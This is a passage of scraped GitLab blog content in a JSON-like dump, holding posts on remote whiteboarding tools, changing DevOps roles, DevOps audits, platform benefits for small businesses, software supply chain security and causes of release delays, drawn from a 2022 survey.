\u003Ctd>No\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>Web App (for screen sharing)\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>Fluidity Extras\n   \u003C/td>\n   \u003Ctd>\n   \u003C/td>\n   \u003Ctd>\n   \u003C/td>\n   \u003Ctd>Multiple pens on deck\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>Pages / Canvas\n   \u003C/td>\n   \u003Ctd>Pages\n   \u003C/td>\n   \u003Ctd>Pages\n   \u003C/td>\n   \u003Ctd>Endless Canvas\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>Presentation Mode\n   \u003C/td>\n   \u003Ctd>No\n   \u003C/td>\n   \u003Ctd>No\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>Direct Import From Google Slides\n   \u003C/td>\n   \u003Ctd>No\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n   \u003Ctd>No\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>Shape Recognition from hand drawing\n   \u003C/td>\n   \u003Ctd>Light Duty\n   \u003C/td>\n   \u003Ctd>Light Duty\n   \u003C/td>\n   \u003Ctd>Awesome\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>Reusability of Drawing as Formal Technical Diagrams\n   \u003C/td>\n   \u003Ctd>No\n   \u003C/td>\n   \u003Ctd>No\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n   \u003Ctd>Viewers Synchronized To Drawing Location\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n   \u003Ctd>Yes\n   \u003C/td>\n   \u003Ctd>Manual\n   \u003C/td>\n  \u003C/tr>\n\u003C/table>\n\nSee here for more [GitLab remote work whiteboarding information](/company/culture/all-remote/collaboration-and-whiteboarding/).\n\nPhoto by [Kvalifik](https://unsplash.com/@kvalifik?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/whiteboard?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n",[2488,2368,3798],{"slug":12748,"featured":6,"template":678},"whiteboarding-remote-work-superpower","content:en-us:blog:whiteboarding-remote-work-superpower.yml","Whiteboarding Remote Work Superpower","en-us/blog/whiteboarding-remote-work-superpower.yml","en-us/blog/whiteboarding-remote-work-superpower",{"_path":12754,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12755,"content":12761,"config":12766,"_id":12768,"_type":16,"title":12769,"_source":17,"_file":12770,"_stem":12771,"_extension":20},"/en-us/blog/the-changing-roles-in-devsecops",{"title":12756,"description":12757,"ogTitle":12756,"ogDescription":12757,"noIndex":6,"ogImage":12758,"ogUrl":12759,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12759,"schema":12760},"Why - and how - DevOps roles are changing","Our 2022 Global DevSecOps Survey finds developers in ops and security while operations is everywhere.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664007/Blog/Hero%20Images/devopsroles.jpg","https://about.gitlab.com/blog/the-changing-roles-in-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why - and how - DevOps roles are changing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-08-31\",\n      }",{"title":12756,"description":12757,"authors":12762,"heroImage":12758,"date":12763,"body":12764,"category":8943,"tags":12765},[11618],"2022-08-31","\nFor three years, developers, security team members, and operations professionals have suggested to us in our annual surveys that their responsibilities were shifting. But this year that “shift” became a tidal wave of change - and that change is towards [DevSecOps](/topics/devsecops/).\n\nIn our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/), more than 5,000 practitioners shared details of DevOps roles in a state of flux: devs taking on ops and security tasks, security working hand-in-hand with dev teams, and ops wearing an improbable number of hats. \n\nThese are big changes, but surprisingly not chaotic ones. In fact, at a time of great technical and macroeconomic upheaval, the evolution of DevOps jobs and responsibilities seems to be designed to bring teams more tightly together. DevOps is more than 14 years old at this point – an argument could be made that [true collaboration](/blog/collaboration-communication-best-practices/) is finally underway. \n\nWhatever is at play, it’s clear substantive changes are happening. Here’s what our respondents told us about their new responsibilities.\n\n## DIY and developers\n\nToday’s developers are literally DIYing all the (ops) things. This year, 38% reported instrumenting code they’ve written for production monitoring, up 12% from 2021 and more than double the percentage in 2020. The same percentage of devs monitor and respond to the infrastructure, up 13% from last year, and 36% are “on call” for app-in-production alerts. Some devs are now authoring runbooks for apps in production and even serving as a point-of-contact if something is escalated.\n\nThey’re also spending a lot more time on toolchains. Nearly 40% spend between one-quarter and one-half of their time [maintaining or integrating toolchains](/blog/too-many-toolchains-a-devops-platform-migration-is-the-answer/) (more than double last year’s percentage), while a full third of devs spend between half and **all** of their time on this task.\n\nAnd, in any time left over, devs are digging into security, so much so that 53% said they are fully responsible for security in their organizations.\n\nAt the same time, devs are also opting out of tasks that have long been in their wheelhouse, including testing, manual testing, code review, documenting code changes, and planning.\n\n## Security is a team sport\n\nNo longer a siloed group, security team members are literally rolling up their sleeves and joining in. Almost 29% of those surveyed said they’re now part of a cross-functional team and 35% are more involved with teams and “hands on” with DevOps projects, an 11-point jump over 2021.\n\nFor the first time ever, 7% of security team respondents said they have more influence on engineering decisions; a small percentage, but it’s a start for a group traditionally viewed as not part of the “team.”\n\n## Nimble ops pros\n\nWhile devs are busy with what have been traditional ops roles, ops pros are off-roading with responsibilities not really seen in DevOps teams before. For the past few years, ops has reported splitting time between managing infrastructure and managing the cloud, and that didn’t change dramatically in 2022. But when they’re not juggling the cloud and infrastructure, ops is taking on a number of new challenges, including DevOps coaching, responsibility for automation, overseeing [all compliance efforts](/blog/the-importance-of-compliance-in-devops/), and [platform engineering](/topics/devops/what-is-a-devops-platform-engineer/). \n\nAnd, as if that isn’t enough, 48% of ops pros said they feel fully responsible for security in their organizations.\n\nWant to know more about how DevOps roles are changing? Read our [2022 Global DevSecOps Survey](/developer-survey/).\n",[8570,4103,7715,674],{"slug":12767,"featured":6,"template":678},"the-changing-roles-in-devsecops","content:en-us:blog:the-changing-roles-in-devsecops.yml","The Changing Roles In Devsecops","en-us/blog/the-changing-roles-in-devsecops.yml","en-us/blog/the-changing-roles-in-devsecops",{"_path":12773,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12774,"content":12780,"config":12784,"_id":12786,"_type":16,"title":12787,"_source":17,"_file":12788,"_stem":12789,"_extension":20},"/en-us/blog/what-you-need-to-know-about-devops-audits",{"title":12775,"description":12776,"ogTitle":12775,"ogDescription":12776,"noIndex":6,"ogImage":12777,"ogUrl":12778,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12778,"schema":12779},"What you need to know about DevOps audits","DevOps’s many steps can streamline the audit process. Here’s how.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668339/Blog/Hero%20Images/a-tale-of-two-editors.jpg","https://about.gitlab.com/blog/what-you-need-to-know-about-devops-audits","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What you need to know about DevOps audits\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-08-31\",\n      }",{"title":12775,"description":12776,"authors":12781,"heroImage":12777,"date":12763,"body":12782,"category":962,"tags":12783},[11618],"\nWhile presumably no one likes an audit, DevOps teams do have some built-in advantages when it comes to intense levels of internal and external scrutiny. Here’s a quick look at DevOps audits, why they matter, and how teams can set themselves up for audit success.\n\n## Looking under the hood\n\nIn most organizations, there are two types of audits: internal and external. At their most simplistic, internal audits are conducted by people within the existing organization, while external audits are conducted by third parties. Either way, audits look to ensure an organization is compliant, and that’s where things can get a bit complicated.\n\nBeing “compliant” can mean an organization is meeting standards set by the government (like [NIST frameworks](/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/) or HIPAA regulations), living up to its own governance rules regarding data, security policies and processes, and more, or it can mean some combination of the two. Also, depending on the type of organization and its vertical industry, compliance can have wildly different requirements.\n\nIn the end, it comes down to [being compliant](/blog/the-importance-of-compliance-in-devops/) means keeping track of any data and processes that can prove compliance is happening, and that’s what auditors need to be able to easily access.\n\nObviously, it’s a big job. Way back when, external auditors would literally set up shop in an empty office and spend weeks (or months) sifting through written records, interviewing employees, and even walking the factory floor if necessary. Today, technology, especially automation, have made audits easier to prepare for and carry out, but the plethora of standards bodies and [a growing focus on security risks](/blog/the-ultimate-guide-to-software-supply-chain-security/) mean more time spent auditing than ever before.\n\n## Enter DevOps\n\nThe largely seamless nature of DevOps not only makes it easier to get software out the door more quickly but it also streamlines the audit process. Why? Because automation tracks every step that happens, creating an auditable record, and the “continuous” nature of DevOps also naturally supports the idea of “continuous” or more frequent (and thus easier) audits.\n\n“DevOps is all about building: writing code, building code, testing code, and compiling it,” says [Sam White](/company/team/#sam.white), GitLab’s principal product manager, Protect. “And it's about getting that code built into a deliverable that's actually shipped out to the end user and runs in production. Compliance [in this sense] is all about what regulatory controls and processes have to be followed within the context of writing, building, and shipping software.”\n\n## Audits and DevOps\n\nDevOps processes naturally lend themselves to audits, White explains, because each of the steps can be traced and many, like merge requests, require signoffs. “Compliance regulations can vary across industries and geography. But, generally, what I hear from compliance teams is they need to make sure all of their commits are signed. You want to make sure you don't have a malicious actor putting in bad code. So finding the commits helps you verify who the person was who wrote the code,” he says.\n\nCode review is another obviously “auditable” step in the process, he says, because “it’s very common for organizations to require at least two people to review any code before it gets merged in.” Auditors want to follow the path and DevOps makes it simpler to look at the flow of commits/MRs and code reviews to make sure nothing untoward has happened.\n\n## Track everything\n\nWhile DevOps audit checklists [do exist](https://itrevolution.com/devops-audit-defense-toolkit/), industry compliance requirements vary so widely that a generic list is really only a starting point. But there are basic steps DevOps teams should follow:\n\n- Ensure all code commits have signoffs.\n- Review code on a regular cadence and require at least two signatures.\n- Logging tools are critical – are they widely used and is the data easy to access?\n- Make sure everyone on the team understands the concept of compliance as it relates to a particular industry.\n- Acknowledge that developers aren’t auditors 😀.\n- Check in on operations pros, who are increasingly being tasked with compliance but also report [suffering from information overload](/developer-survey/).\n\nLearn about GitLab’s vision for [compliance management](/direction/govern/compliance/compliance-management/).\n\n_Lauren Minning contributed to this blog post._\n",[4103,8570,674],{"slug":12785,"featured":6,"template":678},"what-you-need-to-know-about-devops-audits","content:en-us:blog:what-you-need-to-know-about-devops-audits.yml","What You Need To Know About Devops Audits","en-us/blog/what-you-need-to-know-about-devops-audits.yml","en-us/blog/what-you-need-to-know-about-devops-audits",{"_path":12791,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12792,"content":12798,"config":12803,"_id":12805,"_type":16,"title":12806,"_source":17,"_file":12807,"_stem":12808,"_extension":20},"/en-us/blog/five-essential-business-benefits-a-devops-platform-gives-smbs",{"title":12793,"description":12794,"ogTitle":12793,"ogDescription":12794,"noIndex":6,"ogImage":12795,"ogUrl":12796,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12796,"schema":12797},"Five essential business benefits a DevOps platform gives SMBs","Multiply your SMB’s tech muscle, reduce expenses, and cut wasted time.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668332/Blog/Hero%20Images/architecture-building-business-258163.jpg","https://about.gitlab.com/blog/five-essential-business-benefits-a-devops-platform-gives-smbs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Five essential business benefits a DevOps platform gives SMBs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-08-30\",\n      }",{"title":12793,"description":12794,"authors":12799,"heroImage":12795,"date":12800,"body":12801,"category":962,"tags":12802},[3907],"2022-08-30","\nSmall and medium-sized businesses (SMBs) face a litany of potentially crippling obstacles, but there’s a single step executives can take that will create multiple business benefits. \n\n[Migrating to an end-to-end DevOps platform for SMBs](https://page.gitlab.com/migrate-to-devops-guide.html) will not only greatly improve an SMB’s odds of survival, but it will increase their chance of actually thriving in an environment that sees half of all small businesses failing within their first five years. That’s right. All businesses face competition and obstacles, but SMBs and small and medium-sized enterprises (SMEs), in particular, are looking at an uphill battle so steep that 20% of U.S. small businesses fail within just the first year, [according to the U.S. Bureau of Labor Statistics](https://www.bls.gov/bdm/entrepreneurship/entrepreneurship.htm). So why not grab onto any advantage available, especially one this beneficial?\n\nHere’s how [a full DevOps platform can help any SMB](/blog/gitlab-provides-small-business-with-a-professional-mature-devops-platform/):\n\n## Multiply tech muscle\n\nLarge enterprises might have an IT department, or even a separate DevOps group, made up of dozens or hundreds of people. That’s not the case with SMBs and SMEs. A small business might just have one IT person. That leaves one – or two or five – people shouldering a whole lot of work. They’re left not only to handle issues with cybersecurity, email, and buggy laptops, but they also have to design, develop, and deploy new software and iterations. With a DevOps platform, a lot of repetitive tasks are automated, and security testing is built in from the get-go, freeing up a lot of time. With a DevOps platform, it’s possible to do more with fewer hands. \n\n## Engage the entire team\n\n[Fostering collaboration](/blog/5-ways-collaboration-boosts-productivity-and-your-career/) is a big part of a DevOps platform and it’s of particular benefit to SMBs. Yes, there are fewer employees in a smaller organization. That, though, doesn’t have to be a disadvantage. A DevOps platform fosters a collaborative environment, [breaking down departmental silos](/blog/developing-a-successful-devops-strategy/) and enabling everyone – from the head of the business to people in sales, marketing, and customer service – to work together on software planning and design. That means a wider swath of employees can pitch in on projects, naturally bringing more input and help to the table. And that makes software more inclusive and well-rounded. It also makes employees more engaged. \n\n## Stop wasting time and effort on a toolchain\n\nSMBs, like their larger enterprise brethren, turn to DevOps to more efficiently and quickly develop and deploy software. But when they don’t go with a single, end-to-end DevOps platform, they end up creating a complicated tangle of tools, or a toolchain. And these toolchains force them to not only learn, but continually switch back and forth between multiple interfaces, passwords, and ways of working. Even worse, those [taxing toolchains](/topics/devops/use-devops-platform-to-avoid-devops-tax/) only grow in size and unwieldiness as the business grows. With fewer IT people onboard, the full burden of these toolchains falls solely on a limited number of people – or even worse, it might fall on just one person. Get rid of that chaotic environment, and the waste of time and effort it brings, by migrating to a single application. \n\n\n## Eliminate the expense of a toolchain\n\nSince most SMBs have limited budgets, many often turn to DevOps tools that have what initially appear to be smaller price tags. However, by casting around for what might seem like a bargain, it creates an even greater mishmash of tools, which the company continually has to pay for. A [2020 Forrester Consulting Total Economic Impact Study](https://learn.gitlab.com/c/forrester-tei?x=X4W83-) noted that moving to a single DevOps application improves development and delivery efficiency by more than 87%, cuts down on licensing costs, and increases savings. The [expenses that come along](/webcast/simplify-to-accelerate/) with multiple licenses and continual maintenance are diminished with a single, end-to-end DevOps platform, driving the bottom line and delivering business value. \n\n## Improved security benefits for your business\n\nSMBs have the perfect chance to build security into their code and processes from the very beginning. That’s a much better process than [making security an afterthought](/blog/toolchain-security-with-gitlab/), or completely pushing security aside when projects are bumping up against tight deadlines. That won’t happen with a single DevOps platform, which integrates security into the entire software delivery lifecycle – from planning through design, build, and monitoring. Every single step of the development process. A DevOps platform even automates security testing, ensuring it’s not forgotten and relieving IT professionals from some repetitive, hands-on tasks. When [security is shifted left](/blog/efficient-devsecops-nine-tips-shift-left/) this way, if a vulnerability or compliance issue is introduced into the code, it’s identified almost immediately. And improved security doesn’t just benefit your software. It also benefits your customers, your brand reputation, and your overall business.\n\nMost every business, [regardless of size](/blog/can-an-smb-or-start-up-be-too-small-for-a-devops-platform/), is creating software to serve customers, connect with partners and suppliers, and find new revenue streams. But muddling together a string of tools that end up costing time, effort, and money just to maintain and use them isn’t the answer. If SMBs toss that complicated toolchain aside and replace it with one platform, they’ll expand their IT capabilities, reduce costs, and be better able to take on competitors with more experience and deeper pockets.\n",[4103,232,2705],{"slug":12804,"featured":6,"template":678},"five-essential-business-benefits-a-devops-platform-gives-smbs","content:en-us:blog:five-essential-business-benefits-a-devops-platform-gives-smbs.yml","Five Essential Business Benefits A Devops Platform Gives Smbs","en-us/blog/five-essential-business-benefits-a-devops-platform-gives-smbs.yml","en-us/blog/five-essential-business-benefits-a-devops-platform-gives-smbs",{"_path":12810,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12811,"content":12816,"config":12820,"_id":12822,"_type":16,"title":12823,"_source":17,"_file":12824,"_stem":12825,"_extension":20},"/en-us/blog/the-ultimate-guide-to-software-supply-chain-security",{"title":12812,"description":12813,"ogTitle":12812,"ogDescription":12813,"noIndex":6,"ogImage":10952,"ogUrl":12814,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12814,"schema":12815},"The ultimate guide to software supply chain security","Coupling DevSecOps with software supply chain security results in the advanced protection organizations need.","https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The ultimate guide to software supply chain security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-08-30\",\n      }",{"title":12812,"description":12813,"authors":12817,"heroImage":10952,"date":12800,"body":12818,"category":962,"tags":12819},[3281],"\n\nThreats to the software supply chain are forcing a sea change in DevOps. Organizations are feeling internal pressure to embed security deep into their software development life cycles and external pressure to comply with numerous federal and industry mandates. What is emerging is a DevSecOps strategy that helps govern how code, applications, and infrastructure are protected across the software supply chain.\n\nThe pairing of DevSecOps with software supply chain security also ensures that, where possible, automation will be used to make processes repeatable, increasing security and reducing the opportunity for human error or malicious activity.   \n\nThis comprehensive guide provides deeper dives into all the aspects of software supply chain security so make sure to follow the embedded links.\n\n## The need for software supply chain security\n\nSecuring code is not a new concept. However, promoting security early on in the development life cycle is. The movement to shift security left has taken off, and “sec” is becoming part of the DevOps culture, morphing the concept wholly into DevSecOps. \n\nAlong with this evolution has been an increase in outside pressure – as formidable as [the federal government](/blog/biden-administration-celebrates-1-year-anniversary-of-eo-by-accelerating-software-supply-chain-security/) – to batten down software supply chains so that large attacks such as the [SolarWinds hack of 2020](/blog/what-the-solarwinds-attack-can-teach-us-about-devsecops/#a-brief-summary-of-the-solarwinds-incident) won’t threaten the nation’s critical infrastructure and cause unmitigated damage.\n\nEssentially, businesses must figure out how to meld their development, security, and operations teams internally while complying with numerous mandates from external organizations.\n\nLearn more about the key trends driving software supply chain security:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Tbiscg09-Ac\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Integrating sec into DevSecOps\n\nThe first step in securing the software supply chain is to create a cohesive DevSecOps approach to software development. In doing so, organizations can expand security in DevOps beyond basic tasks and better [understand myriad threat vectors](/blog/top-challenges-to-securing-the-software-supply-chain/).\n\n_[Security in the modern DevOps solution](/blog/are-you-ready-for-the-newest-era-of-devsecops/) goes beyond just shifting security features left to empower the developers to find and fix security flaws, but also provides end-to-end visibility and control over the entire SDLC to create, deliver, and run the applications._\n\nTeams that integrate security practices throughout their development process are 1.6 times more likely to meet or exceed their organizational goals, according to the Google Cloud DevOps Research and Assessment (DORA) “Accelerate State of DevOps 2021 Report”.\n\nSome [best practices elite DevSecOps teams use](/blog/elite-team-strategies-to-secure-software-supply-chains/) are:\n\n- Apply common controls for security and compliance\n- Automate common controls and CI/CD\n- Apply [zero-trust principles](/blog/why-devops-and-zero-trust-go-together/)\n- Inventory all tools and access, including infrastructure as code\n- Consider unconventional scale to find unconventional vulnerabilities\n- Secure containers and orchestrators\n\n## Understanding federal and industry mandates\n\nThe Biden administration has been singular in its demand that federal agencies and their vendors [make significant improvements in software supply chain security](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/).\n\nThat sense of urgency has trickled down to the standards bodies, including the National Institute of Standards and Technology (NIST) and its [Secure Software Development Framework](https://csrc.nist.gov/Projects/ssdf), the Cybersecurity and Infrastructure Agency’s work on [Software Bill of Materials standards](https://www.cisa.gov/sbom), and [SLSA](https://slsa.dev/), a cross-industry collaboration on a security framework to secure the supply chain.\n\nCompliance officers within organizations are looking to DevSecOps teams to make it easy for them to audit the development life cycle and attest to requirements in these mandates.\n\n## How a DevOps platform helps \n\nIn our [2022 Global DevSecOps survey](/developer-survey/), respondents overwhelmingly told us that secure software development is now an imperative for their organization and that they believe security is the top reason to deploy a DevOps platform. \n\nA DevOps platform can certainly help [protect against software supply chain attacks](/blog/devops-platform-supply-chain-attacks/). Here are some examples how:\n\n- End-to-end visibility and auditability: Who changed what, where, and when.\n\n- Consistent application and administration of policies: Both what policies are used where, and the actions taken for exceptions\n\n- More intelligent response through greater end-to-end context\n\n- Reduced attack surface of a simplified toolchain\n\nDevOps platforms can even support more sophisticated software supply chain security techniques such as [securing pipeline builds with code signing](/blog/secure-pipeline-with-single-sign-in/). Code signing is an area of interest to standards bodies setting requirements for protecting software supply chains.\n \n## GitLab’s strengths in software supply chain security\n\nGitLab has been at the leading edge of DevSecOps, helping organizations to evolve their security practices from traditional application testing.\n\nFor instance, rather than being performed by security pros, using their own tools, at the end of the development cycle, security testing is automated within the CI pipeline with findings delivered to developers while they are still iterating on their code. Read how GitLab is also [revolutionizing CI and security, and remediation practices](/blog/gitlab-is-setting-standard-for-devsecops/).\n\nGitLab is laser-focused on enabling organizations to establish and manage security and compliance guardrails that allow developers to run fast while also managing risk, including the introduction of [continuous compliance and policy engines](/blog/gitlabs-newest-continuous-compliance-features-bolster-software/), as well as [automated attestation](/blog/securing-the-software-supply-chain-through-automated-attestation/) and [SBOMs](/blog/the-ultimate-guide-to-sboms/).\n\nThe GitLab partner ecosystem helps the platform to meet even more security needs, including [generating SBOMs\nautomatically](/blog/gitlab-and-testify-sec-witness-alliance/) and [protecting software from malicious modules](/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers/).\n\nMore on GitLab’s software supply chain security vision can be found [here](/blog/gitlab-supply-chain-security/). And learn even more about securing the software supply chain as GitLab Field CTO [Lee Faus](https://gitlab.com/lfaus) answers some burning questions:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/HubJIQ-x2EA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[674,4103,2368],{"slug":12821,"featured":6,"template":678},"the-ultimate-guide-to-software-supply-chain-security","content:en-us:blog:the-ultimate-guide-to-software-supply-chain-security.yml","The Ultimate Guide To Software Supply Chain Security","en-us/blog/the-ultimate-guide-to-software-supply-chain-security.yml","en-us/blog/the-ultimate-guide-to-software-supply-chain-security",{"_path":12827,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12828,"content":12834,"config":12838,"_id":12840,"_type":16,"title":12841,"_source":17,"_file":12842,"_stem":12843,"_extension":20},"/en-us/blog/top-reasons-for-software-release-delays",{"title":12829,"description":12830,"ogTitle":12829,"ogDescription":12830,"noIndex":6,"ogImage":12831,"ogUrl":12832,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12832,"schema":12833},"Top reasons for software release delays","In our 2022 Global DevSecOps survey, DevOps pros shared their frustrations with software releases, including security's shift left and complicated code reviews.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664070/Blog/Hero%20Images/cloudwatch-gitlab-incident-management-bg.jpg","https://about.gitlab.com/blog/top-reasons-for-software-release-delays","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top reasons for software release delays\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-08-30\",\n      }",{"title":12829,"description":12830,"authors":12835,"heroImage":12831,"date":12800,"body":12836,"category":962,"tags":12837},[11618],"\n_What’s the most likely reason for a software release delay?_\n\nFrom 2019 through 2021, respondents to our Global DevSecOps Surveys _always_ blamed software testing. This year, however, was dramatically different.\n\nMore than 5,000 DevOps practitioners took our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/), and, for the first time, they offered five equally valid reasons why releases might be tardy: code development, code review, security analysis, test data management, and, of course, testing. \n\nProcesses and priorities are clearly changing in DevOps teams today, and they’re affecting release delays. Here’s how to understand the forces at work.\n\n> Join us at [GitLab Commit 2022](/events/commit/) and connect with the ideas, technologies, and people that are driving DevOps and digital transformation.\n\n## Code development and code review\n\nOver the past three years, code development and code review were the second- and third-ranked culprits for release delays. That’s to be expected: No one ever said code development was easy and code reviews have always been problematic.\n\nDevelopers report [a myriad of challenges with code review](/blog/the-code-review-struggle-is-real-heres-what-you-need-to-know/): It’s too labor intensive, no one is available to do it, and the culture often doesn’t support the process. But in this year’s survey, 76% of developers said they find code reviews “very” or “somewhat” valuable, and a majority said code review was one of the key steps in DevOps they wish they could do more of. All told, 27% of developers review code weekly while another 21% review it daily or with every commit.\n\nClearly, code review is important but [it takes work](/blog/tips-for-better-code-review/) to make them happen more efficiently. One up-and-coming solution that could help make code reviews easier is artificial intelligence. Our survey found 31% of DevOps teams use AI for code review today, more than double the percentage in 2021. GitLab is also excited about the possibilities found in AI’s close cousin machine learning – we’re using it to [improve the code review process](/blog/the-road-to-smarter-code-reviewer-recommendations/). \n\n## Keeping software secure\n\nCreating safe code requires security testing and the frustration around this step is both real and longstanding. Security has nearly always [been seen as a “blocker”](/blog/developer-security-divide/) when it comes to software development in general and software releases in particular. In our 2022 survey, though, priorities have changed. Security is now the top area DevOps teams plan to invest in this year, and a majority of developers report that the most difficult part of their job is keeping software secure. Here’s just a sample of what developers had to say about the challenges of their roles today: \n\n_We are trying to keep up with the latest tools and security for optimal performance and privacy._\n\n_We are trying to build applications that are secure and stable._\n\n_It is challenging to keep it secure and keep it updated._\n\n_Cyber security attacks are the biggest challenge facing us today._\n\n_Data security, data security, I repeat, data security._\n\nThe focus on security isn’t just talk, either. More than 50% of DevOps teams are running SAST, DAST, and container scans, all dramatic increases from 2021. But at the same time, this is the fourth year security pros have continued to blame developers for finding too few bugs too late in the process. Security is a developer performance metric for many teams, but sec team members say it is still very hard to get devs to actually fix bugs, a trend we’ve seen reflected over and over.\n\nIn other words, it’s complicated enough to make the potential of delays unsurprising.\n\n## Managing the test data\n\nToo much test data is one of those good and bad problems to have: 47% of DevOps teams we surveyed report full test automation, nearly double the percentage from last year, and more security scans are being run too. More than half of survey takers (53%) are testing their code as it’s being written, up 21% from last year.\n\nAll those tests result in a data management problem most teams aren’t actually set up to handle. Here’s one example: Less than one-third of teams are able to put DAST and SAST results into a developer’s workflow/IDE and those percentages remain stubbornly low year after year. \n\nTesting momentum and automation are growing by leaps and bounds, but teams now need better ways to evaluate, communicate, and act on the data.\n\n## The tricky nature of software testing\n\nSoftware testing has often worn the “DevOps scapegoat” mantle, and perhaps for good reason. Getting testing just right is critical, but it’s also elusive. There are so many kinds of tests teams can run, test automation requires a big process and culture investment, and test results are often seen as “flaky,” “noisy,” and “late” by busy developers not enthused about context switching or inaccurate results. \n\nBut there are a couple of promising signs: As we saw in 2021, developer respondents told us again this year that testing is high on their list of tasks they would like to do more of. And artificial intelligence is also making inroads: About 37% of teams are using AI/ML to test their code (a 23-point jump from 2021) and 20% more are planning to add it to their DevOps practice this year.\n\nWant to understand more about software release delays and DevOps best practices? Read our [2022 Global DevSecOps Survey](/developer-survey/).\n",[8570,1207,774,4103],{"slug":12839,"featured":6,"template":678},"top-reasons-for-software-release-delays","content:en-us:blog:top-reasons-for-software-release-delays.yml","Top Reasons For Software Release Delays","en-us/blog/top-reasons-for-software-release-delays.yml","en-us/blog/top-reasons-for-software-release-delays",{"_path":12845,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12846,"content":12852,"config":12858,"_id":12860,"_type":16,"title":12861,"_source":17,"_file":12862,"_stem":12863,"_extension":20},"/en-us/blog/a-3-step-plan-for-devops-platform-migration",{"title":12847,"description":12848,"ogTitle":12847,"ogDescription":12848,"noIndex":6,"ogImage":12849,"ogUrl":12850,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12850,"schema":12851},"A 3-step plan for DevOps platform migration","Too many tools = too much time wasted. Use our 3-step plan and detailed checklist to jumpstart a DevOps platform migration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668319/Blog/Hero%20Images/more-robust-task-lists.jpg","https://about.gitlab.com/blog/a-3-step-plan-for-devops-platform-migration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A 3-step plan for DevOps platform migration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lauren Minning\"}],\n        \"datePublished\": \"2022-08-25\",\n      }",{"title":12847,"description":12848,"authors":12853,"heroImage":12849,"date":12855,"body":12856,"category":962,"tags":12857},[12854],"Lauren Minning","2022-08-25","\n\nWhen making your DevOps platform migration plan, less really is more, at least when it comes to tools.\n\nOur [2022 Global DevSecOps Survey](/developer-survey/) found that not only do teams have _lots_ of tools, they spend a significant amount of time managing them. All told 40% of developers spend between one quarter and one half of their time on toolchain maintenance and integration, and another 33% spend between 50% and **all** of their time on this task. So it’s hardly a surprise that 69% of survey takers said they want to consolidate their toolchains.\n\nOne obvious way to consolidate is migrating to a DevOps platform. DevOps platform migration does take some planning and teamwork, but it can be done. Here’s a 3-step plan (and a self-evaluation checklist) to get teams started.\n\n## Choose the right path\n\nThe most important thing to know about migrating to an 